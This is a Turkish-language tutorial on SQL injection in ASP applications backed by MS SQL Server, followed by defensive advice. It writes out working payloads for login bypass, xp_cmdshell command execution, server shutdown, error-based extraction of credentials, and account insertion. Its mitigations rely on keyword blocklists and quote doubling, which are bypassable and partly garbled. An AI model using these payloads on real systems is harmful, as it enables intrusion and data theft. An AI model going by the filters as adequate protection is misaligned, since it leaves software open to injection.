SQL Enjeksiyon Saldirilari (SQL Injection)
Dünyanin her tarafinda, kullanicilarina; kredi karti numaralari, kullanici bilgileri gibi gizli kalmasi gereken bilgilerin, ürünlere ve siparislere ait verilerin saklandigi uç-arka veri depolariyla hizmet veren web siteleri bulunmaktadir. Ve genel olarak, web sitelerindeki form araciligi ile alinan girdi ile veritabanindaki bilgiler filtrelendikten sonra sonucu kullaniciya gönderen bu tür sistemlerde Yapisal Sorgulama Dili (Structured Query Language - SQL) kullanilmaktadir. Uygulama içerisinde kullanilacak parametre degerleri alinirken kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle güvenlik problemleri ortaya çikmaktadir.
Bu güvenlik problemleri kullanilarak bir uygulamanin arkasinda, bu uygulamaya destek veren veri tabani üzerindeki bütün bilgilere ulasilabilir veya bilgiler üzerinde degisiklik yapilabilir. Veya veri tabani sisteminin komutlari kullanilarak kullanilan sunucular üzerinde uygulama harici istenen islemler de yapilabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karsi kontrol eden fonksiyonlarin kullanilmali ve genis çapli uygulamalarin bu güvenlik açiklarini tasiyip tasimadigini anlamak için güvenlik denetimine tabi tutulmalidir..
Ilgilendiren Sektör ve Sirketler:
* Özel olarak gelistirilmis uygulamalar kullanan tüm kurum ve kuruluslar
* Internet / Intranet üzerinde uygulama gelistiren kuruluslar
1. Bir Uygulama Güvenligi Problemi - "Yapisal Sorgulama Dili Kullanimi"
Yapisal Sorgulama Dili SQL’in uygulamalarda kullanimina örnek vermek gerekirse;
SELECT Name, Address FROM Users WHERE UserID = ’2081’
Seklindeki SQL Deyimi "Users" adli tablodan "2081" ürün ID si ile veritabanina kayitli olan kisiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayiflik, kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle ortaya çikmaktadir. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini saglayan fonksiyonlardir.
Hizla gelisen internet teknolojileri karsisinda yeni pazarda geç olmadan yerini almak isteyen müsterilerine daha kisa sürede daha kullanisli ve ucuz çözümler sunmak zorunda olan uygulama gelistiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadirlar.
Giderek yayginlasan ve medyanin haber potansiyelini olusturan; çalinan kredi karti numaralari, yer alti sitelerde dagitilan müsteri bilgileri, sirket projeleri - yazismalari yaklasan tehlikenin habercisi olmakla beraber halen bu tür kayiplarin yaratabilecegi maddi sonuçlari kavrayamayan ve hala "az maliyetle kurtarilan güvenlik projeleri" ’yle övünen yöneticilere uyari niteligi tasimaktadir. Öyleki -herzaman bir adim önde olmayi amaçlayan- saldirganlar güvenligin en üst seviyede olmasi beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik saldirilarina da ara vermeksizin devam etmektedirler.
Maddi ve manevi degere sahip sirketinizi bir anlamda is ortaklarini olan uygulama gelistiricilerin hazirladiklari uygulama ürünlerine emanet edildigini düsünürsek, "uygulamalariniza ne kadar güvenirsiniz?" gibi bir soruya verilecek cevap büyük önem tasimaktadir.
Böyle bir ortamda uygun güvenlik çözümü için ayrilmis bütçe bir lüks degil her an yapilabilecek bir saldirida sirketin ugrayacagi zarari ortadan kaldirmak için alinmasi gereken önlem niteligi tasimaktadir.
2. Örnek Saldirilar - "Yapilacak Hamleleri Önceden Tahmin Edebilmek..."
Güvenlikte sikça kullanilan bir deyim; "Saldirganlardan korunabilmek için onlar gibi düsünmelisiniz!..". Saldirganin sisteminize girmek için kullanabilecegi yöntemleri bilmek bu saldirilardan korunabilmek için alinan önlemleri daha saglikli kilacaktir.
Örneklerde kullanacagimiz hedef ; Microsoft® Internet Information Server™’ dan Microsoft® SQL Server™’a varsayilan sistem hesabi’ndan (sa) baglanan ASP tabanli bir kullanici hesabi yöneticisi olacak.
Form.asp : Username ve Password girdisini alan form.Solda...
Login.asp : Veritabani ile baglantiya geçen ve girdinin dogrulugunu kontrol eden ASP kodu.
2.1. Kötü Amaçli (’) Imleçleri Yardimiyla Izinsiz Giris Saglama:
Kullanici "Username" & "Password" verisini Login.asp ye yolladiktan sonra .asp kodunun yapacagi is verilen yoldaki veritabani ile baglanti kurup ilgili tabloda Username ve Password sütünlarinda gönderilen verinin dogrulugunu kontrol etmek olacaktir. Bu islem sonucunda eger sonuç olumluysa kullaniciya; "Giris Yapildi" olumsuzsa; "Geçersiz Kullaniciadi & Sifre" mesaji verilecektir.
Örnekleyecek olursak;
Username : ilkay
Password : 2081
Seklindeki kullanici girdisi asagidaki SQL Deyimini olusturacaktir;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’2081’
Ilk bakista sorun olmayan bir SQL Deyimi... Fakat saldirganin;
Username : ilkay
Password : ’ OR 1=1--
Seklindeki girdilerle olusturacagi SQL Deyimi ise;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’’ OR 1=1 --’
Olacaktir ki, bu durumda girisin saglanmasi için sart "ilkay" kullanici adina ait sifrenin hiçbirsey* olmasi veya ikinci bir opsiyon olarak 1=1 esitliginin saglanmasidir.
* Hiçbisey = Bosluk
Sonuç : 1=1 esitligi saglandigina göre saldiri basariyla sonuçlanacak ve "Giris Yapildi" mesaji verilecektir.
Not : Microsoft® SQL Server™ "--" imlecinden sonra gelen yersiz kullanilmis tirnak isaretlerini göz ardi edecektir. Ilk bakista basit gibi görünen ve sadece SQL Server’a ait olan bu özellik ilerde örneklerden de anlasilacagi üzere saldirgana büyük kolaylik saglayacaktir..
2.2. Uzaktan Çalistirilmasi Mümkün Olan Prosedürler:
MS SQL Server’a varsayilan sistem hesabindan yaptigimiz baglanti SQL Enjeksiyon saldirisinda muhtemel saldirgana sunucuda saklanan prosedürleri çalistirabilmesi için gerekli haklari taniyacaktir. Saldirganin kullanabilecegi prosedürlerden bir tanesi; "master..xp_cmdshell" olabilir.
Username : ilkay
Password : ’; EXEC master..xp_cmdshell ’dir c:’--
Girdileriyle olusacak SQL Deyimi;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’’; EXEC master..xp_cmdshell ’dir c:’--’
Sonuç : SQL Server Kullaniciadi ve Sifreyi bulunduran sütunlari arayacaktir bulamadigi için "Yanlis Kullaniciadi & Sifre" mesajini verecektir fakat bu arada arka planda "dir c:" komutunu çalistiracak ve saldirgan C sürücüsünün içerigine ulasacaktir.
2.3. SQL Server Hedef Alinarak Yapilan Saldirilar:
Yönetici haklarina sahip saldirgan silme,ekleme,degistirme...vb gibi komutlari rahatlikla çalistirabilecektir.
SHUTDOWN WITH NOWAIT SQL Server’in kritik komutlarindan bir tanesidir. Komutla beraber SQL Server görevine son verir.
Username : ’; SHUTDOWN WITH NOWAIT--
Password : [Bos]
Bu girdilerle olusturulan SQL Deyimi;
SELECT Username FROM Users WHERE Username=’’; SHUTDOWN WITH NOWAIT; --’ AND Password=’’
Sonuç : SQL Server kullaniciadinin bulunamadigi mesajini verecektir. Fakat bununla beraber arka planda diger komutu çalistirdigi için SQL Server kapanacaktir.
2.4. ODBC Hatalarindan Faydalanarak Yapilan Saldirilar:
SQL Server’in verdigi hatalardan faydalanarak veritabanindaki neredeyse tüm bilgilere ulasmak mümkündür.
Hedef; http://Victim/Default.asp?id=10 seklinde ürün ID leri ile çalisan ASP tabanli bir websitesi.
Saldiri SQL Server’in integer ve string cinsinden verileri birlikte gönderememesinden faydalinarak yapilabilir;
Gönderilen ’10’ sayisina veritabanindan herhangi bir string eklenir.
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan diger tüm tablolar hakkinda bilgi içerir. Deyimde kullanilan "TABLE_NAME" de yine tüm tablo isimlerini içerir.
Olusacak SQL Deyimi;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
String -> Integer dönüsümünü yapamayan SQL Server asagidaki hatayi verecektir.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Table1’ to a column of data type int.
/Default.asp, line 5
Hata, saldirgana "Table1" olarak buldugu cevabi integer a çeviremedigini (dolayisiyla veritabanindaki ilk tablo adinin "Table1" oldugunu) belirtmektedir. Saldirgan diger tablolarin adini asagidaki sekilde ögrenebilir...
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’Table1’)--
Veya dogrudan LIKE komutunu kullanarak aradigi seye daha kolay yoldan ulasabilir;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25Login%25’--
SQL Server’in verecegi hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Admin_Login’ to a column of data type int.
/Default.asp, line 5
Admin_Login adinda bir tablo oldugunu ögrenen saldirgan muhtemelen tablodaki ilk kullaniciadi ve sifreye ulasmak isteyecektir. Izleyebilecegi yol ise;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’ilkay’ to a column of data type int.
/Default.asp, line 5
Bu sekilde "admin" kullaniciadinin varligini dogrulayan saldirganin sifreyi ele geçirmek için kullanacagi girdi;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username=’ilkay’--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’2081’ to a column of data type int.
/Default.asp, line 5
Sonuç :
Username : ilkay
Password : 2081
2.5. Veritabanina Ekleme Yapma veya Veri Düzenleme:
Kullaniciadi ve sifre bilgisine ulasan muhtemel saldirgan benzer yöntemleri ve UPDATE,INSERT komutlarini kullanarak sifreyi degistirebilir veya daha temizi baska bir kullanici hesabi açabilir...
http://Victim/Default.asp?id=10; UPDATE ’Admin_Login’ SET ’Password’ = ’NewPwd’ WHERE Username=’ilkay’--
Yeni bir kullanici hesabi için;
http://Victim/Default.asp?id=10; INSERT INTO ’Admin_Login’ (’UserID’, ’Username’, ’Password’, ’Details’) VALUES (666,’Desperate_Cry’,’2081’,’N/A’)--
3. Nasil Korunmali? - "Aksi Dogrulanincaya Kadar Tüm Kullanici Girdileri Kötüdür..."
Gelebilecek SQL Enjeksiyon saldirilarindan korunabilmek için alinan önlemlerde temel alinmasi geren nokta... "Aksi dogrulanincaya kadar tüm kullanici girdileri kötüdür!".
3.1. Kullanici Haklarinin Sinirlandirilmasi
Yaygin olarak yapilan hata; Web Server dan SQL Server a yapilan baglantilarda varsayilan sistem hesabi kullanilmasi... Bu sekilde yönetici haklarina sahip olan saldirgan örneklerde de görülebilecegi üzere istegi komutu çalistirip istedigi ekleme,silme,düzeltme eylemini gerçeklestirebilecektir. Bunu yerine yapilmasi gereken yeni bir kullanici hesabi olusturup kullanicinin çalistirabilecegi komutlari sinirlandirmak olacaktir.
Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasindan siparis verilmesine izin verecekseniz, "web_user" gibi bir kullanici adi olusturup ürünleri incelemek için; ürünler sütununda sadece "SELECT" kullanimina ve siparisleri için; siparisler sütununda sadece "INSERT" kullanimina izin vermeniz uygun olacaktir.
3.2. Girdilerde Tirnak Imleçlerinin (’) Kötü Amaçli Kullaniminin Engellenmesi
Yaygin SQL Enjeksiyon saldirilari SQL deyimlerinin girdilerdeki gereksiz (’) tirnak isaretleri yardimiyla yeniden olusturulmasi sayesinde yapilir.
Küçük bir filtreleme fonksiyonu veya tek tirnagi çift tirnaga çeviren bir fonksiyon muhtemel bir saldiriyi engellmek için yeterli olabilir.
ASP Kullanarak girdileri kontrol ederek degistiren bir fonksiyon kolaylikla yazilabilir;
<%
Function ReplaceQuotes(strWords)
ReplaceQuotes = Replace(strWords,”’”,”””)
End Function
%>
Bu fonksiyonu bastaki örnekte kullanirsak;
SELECT count(*) FROM Users WHERE Username=’ilkay’ AND Password=’’ OR 1=1 --’
seklinde olan deyim...
SELECT count(*) FROM Users WHERE Username=’ilkay’ AND Password=’" OR 1=1 --’
’e dönüsecektir.
3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi
SQL Enjeksiyon saldirilari genelde ";, --,SELECT, INSERT ve xp_" gibi karakterlerin-kelimelerin kullanilmasiyla yapildigi için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayifligi engelleyebilir.Örnegin kullanicidan E - Mail adresini girmesi isteniyorsa harfler ve sayilarin yaninda sadece " @,-,_,." karakterlerinin kullanilmasina izin verilmelidir.
Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanli DLL ler, kullanici tarafli fonksiyonlar...vb, izole edilmis bir sunucuya tasinmalidir. Bazi zararli kelime-harfleri filteleyen ASP fonksiyonu asagida örneklenmistir;
<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE", "xp_"’)
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), ""’)
Next
FilterBadWords = NewWords
End Function
%>
Tirnak degistirme fonksiyonu ve filtreleme fonksiyonu beraber kullanilirsa;
SELECT Username FROM Users WHERE Usename=’’; EXEC master..xp_cmdshell ’dir c’; --’ AND Password=’’
Seklindeki SQL Deyimi...
SELECT Username FROM Users WHERE Usename=’" EXEC master.. cmdshell "dir c:" ’ AND Password=’’
e dönüsecektir ki bu da herhangi bir kayit bulumadigi hatasini vermekten öteye gitmeyecektir.
Bu fonksiyonu kullanicidan gelen bütün girdilere, adres satiri ifadelerine ve çerezlerden gelen tüm veriye uygulamamiz gelebilecek saldirinin önüne geçecektir.
3.4. Girdi Uzunlugunun Sinirlandirilmasi
Veritabanindaki ayrilan alanin uzunlugu 10 karakterlikse, formunuzda bu alan için 50 karakter sigan bir text kutusuna sahip olmaniz sakincali olabilir. Ve mümkün oldugu kadar girdi uzunluklarini kisa tutmak muhtemel saldiriyi engellemek için önlem sayilabilir.
3.5. Girdi Cinsinin Kontrol Edilmesi
Formunuzdan girilen verinin istediginiz türden bir veri olup olmadigini kontrol eden bir fonksiyon kötü amaçli kullanimlarda saldirganin kullanabilecegi harf/sayi seçenegini kisitlayacaktir. Mesela, eger Ürün ID si için formunuzdan girdi aliyorsaniz girdinin sayisal bir ifade olup olmadigini kontrol eden bir fonksiyon fayda saglayacaktir.
3.6. Girdi Cinsinin Kontrol Edilmesi
Formunuz araciligi ile topladiginiz verileri yollarken mutlaka "POST" metodunu kullanin ki kullanicilariniz adres çubugunda girdikleri verilerle beraber form degerlerini gördüklerinde akillarina farkli fikirler gelmesin.
4. Son Söz - "Herzaman bir adim önde!"
Aldiginiz güvenlik önlemleri veya (en iyi ihtimalle) yazip da kullanmayi bir aliskanlik haline getiremediginiz güvenlik politikalari sizi güvenlik problemlerine karsi koruyabilir mi? Eger güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci içerisinde ele almiyorsaniz hiçbir güvenlik ürünü, bir güvenlik kaybina ugramanizi engelleyemez.
Bilgi sistemleri altyapinizi tasidiklari güvenlik zaaflarina karsi düzenli olarak kontrol ettirmek, risklerinizi takip etmek, dogru teknolojiyi dogru yerde ve dogru sekilde kullanmanizi saglayacak güvenlik politikalarinizi olusturup güvenlik probleminizi sürekli yönetebilecek olgunluga ulasmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kismini olusturan uygulamalarin tasiyabilecegi güvenlik sorunlari uzun süredir ihmal edilmelerinden dolayi, günümüzün en popüler sistem sizma noktalarini teskil etmektedirler. Bu nedenle uygulama güvenligine iliskin gereken önemi vermeniz, güvenlik denetimi yaptirmaniz ve kurumunuzun bilgi güvenligi yönetim sistemini olusturmaya bir yerinden baslamanizi öneriyoruz.
Anonim